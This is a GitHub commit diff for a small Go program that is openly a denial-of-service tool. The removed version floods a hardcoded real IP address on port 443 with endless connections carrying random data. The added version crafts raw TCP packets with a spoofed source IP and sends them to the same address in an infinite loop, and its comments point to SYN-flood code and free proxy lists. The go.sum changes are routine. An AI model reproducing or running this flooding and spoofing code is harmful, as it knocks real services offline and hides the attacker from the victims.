-
Notifications
You must be signed in to change notification settings - Fork 19
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
e87e1f9
commit 887c4ee
Showing
4 changed files
with
114 additions
and
39 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,53 +1,104 @@ | ||
package main | ||
|
||
import ( | ||
"fmt" | ||
flag "github.com/spf13/pflag" | ||
"math/rand" | ||
"github.com/google/gopacket" | ||
"github.com/google/gopacket/layers" | ||
"golang.org/x/net/ipv4" | ||
"log" | ||
"net" | ||
"time" | ||
) | ||
|
||
var ( | ||
proto, host string | ||
port, concurrency int | ||
) | ||
|
||
func init() { | ||
flag.StringVar(&proto, "proto", "tcp", "protocol to attack, defaults to tcp") | ||
flag.StringVar(&host, "host", "213.238.175.187", "host to attack, defaults to www.example.com") | ||
flag.IntVar(&port, "port", 443, "port to attack, defaults to 80") | ||
flag.IntVar(&concurrency, "concurrency", 10, "concurrency count to run goroutines, defaults to 2") | ||
|
||
rand.Seed(time.Now().UnixNano()) | ||
} | ||
|
||
func main() { | ||
// https://www.programmersought.com/article/74831586115/ | ||
// https://github.com/rootVIII/gosynflood | ||
// https://golangexample.com/repeatedly-send-crafted-tcp-syn-packets-with-raw-sockets/ | ||
for i := 0; i < concurrency; i++ { | ||
go func() { | ||
connectionCount := 0 | ||
for true { | ||
conn, err := net.DialTimeout(proto, fmt.Sprintf("%s:%d", host, port), 100*time.Second) | ||
if err != nil { | ||
panic(err) | ||
} | ||
bytes := make([]byte, 20000) | ||
rand.Read(bytes) | ||
_, err = conn.Write(bytes) | ||
if err != nil { | ||
panic(err) | ||
} | ||
|
||
connectionCount++ | ||
// log.Printf("connection established, count = %d\n", connectionCount) | ||
} | ||
}() | ||
} | ||
|
||
select { | ||
|
||
|
||
// https://pkg.go.dev/github.com/google/gopacket | ||
// https://github.com/david415/HoneyBadger/blob/021246788e58cedf88dee75ac5dbf7ae60e12514/packetSendTest.go | ||
// free proxies -> https://www.sslproxies.org/ | ||
var srcIp, dstIp net.IP | ||
srcIpStr := "117.58.245.114" | ||
dstIpStr := "213.238.175.187" | ||
|
||
srcIp = net.ParseIP(srcIpStr).To4() | ||
dstIp = net.ParseIP(dstIpStr).To4() | ||
|
||
// build tcp/ip packet | ||
packet := layers.IPv4{ | ||
SrcIP: srcIp, | ||
DstIP: dstIp, | ||
Version: 4, | ||
TTL: 64, | ||
} | ||
|
||
srcPort := layers.TCPPort(666) | ||
dstPort := layers.TCPPort(443) | ||
tcp := layers.TCP{ | ||
SrcPort: srcPort, | ||
DstPort: dstPort, | ||
Window: 1505, | ||
Urgent: 0, | ||
Seq: 11050, | ||
Ack: 0, | ||
ACK: false, | ||
SYN: false, | ||
FIN: false, | ||
RST: false, | ||
URG: false, | ||
ECE: false, | ||
CWR: false, | ||
NS: false, | ||
PSH: false, | ||
} | ||
|
||
opts := gopacket.SerializeOptions{ | ||
FixLengths: true, | ||
ComputeChecksums: true, | ||
} | ||
|
||
err := tcp.SetNetworkLayerForChecksum(&packet) | ||
if err != nil { | ||
panic(err) | ||
} | ||
|
||
packetHeaderBuf := gopacket.NewSerializeBuffer() | ||
err = packet.SerializeTo(packetHeaderBuf, opts) | ||
if err != nil { | ||
panic(err) | ||
} | ||
packetHeader, err := ipv4.ParseHeader(packetHeaderBuf.Bytes()) | ||
if err != nil { | ||
panic(err) | ||
} | ||
|
||
tcpPayloadBuf := gopacket.NewSerializeBuffer() | ||
payload := gopacket.Payload("meowmeowmeowasdfasdfasdf") | ||
|
||
err = gopacket.SerializeLayers(tcpPayloadBuf, opts, &tcp, payload) | ||
if err != nil { | ||
panic(err) | ||
} | ||
// XXX end of packet creation | ||
|
||
// XXX send packet | ||
var packetConn net.PacketConn | ||
var rawConn *ipv4.RawConn | ||
packetConn, err = net.ListenPacket("ip4:tcp", "127.0.0.1") | ||
if err != nil { | ||
panic(err) | ||
} | ||
rawConn, err = ipv4.NewRawConn(packetConn) | ||
if err != nil { | ||
panic(err) | ||
} | ||
|
||
for { | ||
err = rawConn.WriteTo(packetHeader, tcpPayloadBuf.Bytes(), nil) | ||
log.Printf("packet of length %d sent!\n", len(tcpPayloadBuf.Bytes()) + len(packetHeaderBuf.Bytes())) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,22 @@ | ||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= | ||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= | ||
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= | ||
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= | ||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= | ||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= | ||
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= | ||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= | ||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= | ||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= | ||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0= | ||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= | ||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= | ||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= | ||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= | ||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= | ||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c= | ||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= | ||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= | ||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= | ||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= | ||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= | ||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= | ||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
package tcp |